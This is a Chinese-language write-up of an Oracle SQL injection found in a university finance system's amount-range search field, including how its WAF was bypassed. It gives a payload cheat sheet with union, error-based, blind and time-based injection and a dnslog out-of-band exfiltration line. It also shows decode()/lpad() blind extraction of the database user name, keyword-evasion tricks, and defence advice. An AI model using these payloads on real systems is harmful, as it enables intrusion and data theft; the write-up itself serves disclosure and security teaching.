【漏洞挖掘】记一次985证书站Oracle注入绕WAF
字数 1955 2025-08-19 12:41:52
Oracle注入漏洞挖掘与WAF绕过技术详解
0x01 漏洞背景
本文记录了一次针对985高校财务系统的Oracle注入漏洞挖掘过程,重点介绍了如何绕过Web应用防火墙(WAF)的限制。该漏洞存在于财务系统的"支出金额范围(元)"查询功能中,通过输入特殊字符可触发Oracle数据库报错。
0x02 漏洞发现
-
注入点识别:
- 在"支出金额范围(元)"输入单引号(
')触发Oracle数据库报错 - 报错信息显示为"单引号未正确终止",确认存在SQL注入漏洞
- 在"支出金额范围(元)"输入单引号(
-
环境特点:
- 目标系统使用Oracle数据库
- 部署了严格的WAF防护
- 数据包被全局加密
- 直接使用常见注入技术会触发IP封禁
0x03 Oracle注入技术精要
联合查询注入(Union-based)
/?id=1 order by 3 --+ -- 判断列数
/?id=-1 union select null,null,null from dual --+ -- 获取显位
/?id=-1 union select 1,'2','3' from dual --+ -- 获取显位
/?id=-1 union select 1,(select username from all_users where rownum=1),'3' from dual --+ -- 获取用户名(相当于MySQL的库名)
/?id=-1' union select NULL,(select table_name from user_tables where rownum=1 and owner='XXX'),NULL from dual--+ -- 获取XXX用户下的表名
/?id=-1 union select 1,(select column_name from all_tab_columns where owner='XXX' and table_name='USER' and rownum=1),'3' from dual --+ -- 获取XXX用户下USER表的字段
/?id=-1 union select 1,(select concat(concat(username,'~~'),password) from users where rownum=1),null from dual --+ -- 获取数据
报错注入(Error-based)
/?id=-1' or 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select user from dual)%7c%7c'~') --+
/?id=-1' or (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --+
/?id=-1' or (select dbms_xdb_version.checkin('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null--+
布尔盲注(Boolean-based)
/?id=1 and (select ascii(substr(user,1,1))from dual)>65 --+
时间盲注(Time-based)
/?id=1' and 1=(case when (ascii(substr((select user from dual),1,1))>65) then dbms_pipe.receive_message('RDS',5) else 0 end) --+
DNSLOG带外注入(OOB)
/?id=1 and utl_http.request('http://'%7c%7c(select user from dual)%7c%7c'.xxxxxx.dnslog.cn/oracle')=1 --+
0x04 WAF绕过实战技巧
1. 绕过策略分析
-
WAF检测并拦截的关键字:
select,substr,length,instr,ascii等常见函数- 直接使用这些函数会触发IP封禁
-
解决方案:
- 使用冷门Oracle函数替代
- 利用Oracle特有的函数特性构造payload
- 避免使用常见注入模式
2. 关键绕过技术:decode()函数盲注
decode()函数语法:
decode(表达式, value, value1, value2)
- 当"表达式"等于"value"时,输出value1
- 否则输出value2
利用方式:
1/decode(lpad(user,1,1),'A',1,0)
- 当
lpad(user,1,1)等于'A'时,decode返回1,表达式变为1/1=1 - 否则返回0,表达式变为1/0,触发Oracle除数为0错误
3. lpad()函数详解
lpad()函数语法:
lpad(string, padded_length, [pad_string])
string: 要填充的原始字符串padded_length: 结果字符串的总长度pad_string: (可选)用于填充的字符,默认为空格
示例:
lpad(user,1,1)- 返回用户名的第一个字符lpad(user,2,1)- 返回用户名的前两个字符lpad(user,9,6)- 当用户名不足9位时,左侧填充'6'使其达到9位
4. 实际注入过程
-
确定用户名长度:
- 构造payload:
1/decode(lpad(user,4,1),'CWBS',1,0)成功 - 构造payload:
1/decode(lpad(user,5,1),'CWBSS',1,0)失败 - 结论:用户名长度为4位
- 构造payload:
-
逐字符爆破:
- 第一位:
1/decode(lpad(user,1,1),'C',1,0)成功 - 第二位:
1/decode(lpad(user,2,1),'CW',1,0)成功 - 第三位:
1/decode(lpad(user,3,1),'CWB',1,0)成功 - 第四位:
1/decode(lpad(user,4,1),'CWBS',1,0)成功
- 第一位:
-
结果验证:
- 成功获取Oracle数据库当前连接用户名为"CWBS"
- 通过不同的回显信息(除数为0 vs 查询结果超过控制数)判断猜测是否正确
0x05 技术总结
-
Oracle注入特点:
- 使用
dual作为虚拟表 - 需要熟悉Oracle特有的系统表和函数
- 报错信息可能不如MySQL详细
- 使用
-
WAF绕过要点:
- 避免使用常见注入函数
- 利用冷门函数如
decode()和lpad() - 结合Oracle特有的错误机制(如除数为0)
- 需要手动逐个字符测试,无法使用自动化工具
-
防御建议:
- 使用参数化查询
- 对输入进行严格过滤和类型检查
- 限制数据库用户权限
- WAF规则需要覆盖各种冷门函数
0x06 扩展学习
-
其他可能可用的Oracle函数:
replace()translate()regexp_replace()wm_concat()
-
Oracle系统表参考:
all_users- 所有用户user_tables- 当前用户的表all_tab_columns- 所有表的列信息session_roles- 当前会话的角色
-
进阶绕过技术:
- 使用注释分割关键字:
sel/*xxx*/ect - 使用字符编码:
CHR(115)||CHR(101)||CHR(108)||CHR(101)||CHR(99)||CHR(116)代替"select" - 利用Oracle的XML函数进行数据外带
- 使用注释分割关键字:
本技术文档详细记录了Oracle注入漏洞的发现过程、各种注入技术的实现方法以及针对严格WAF的绕过技巧,重点介绍了使用decode()和lpad()函数实现盲注的独特方法,为安全研究人员提供了实用的参考方案。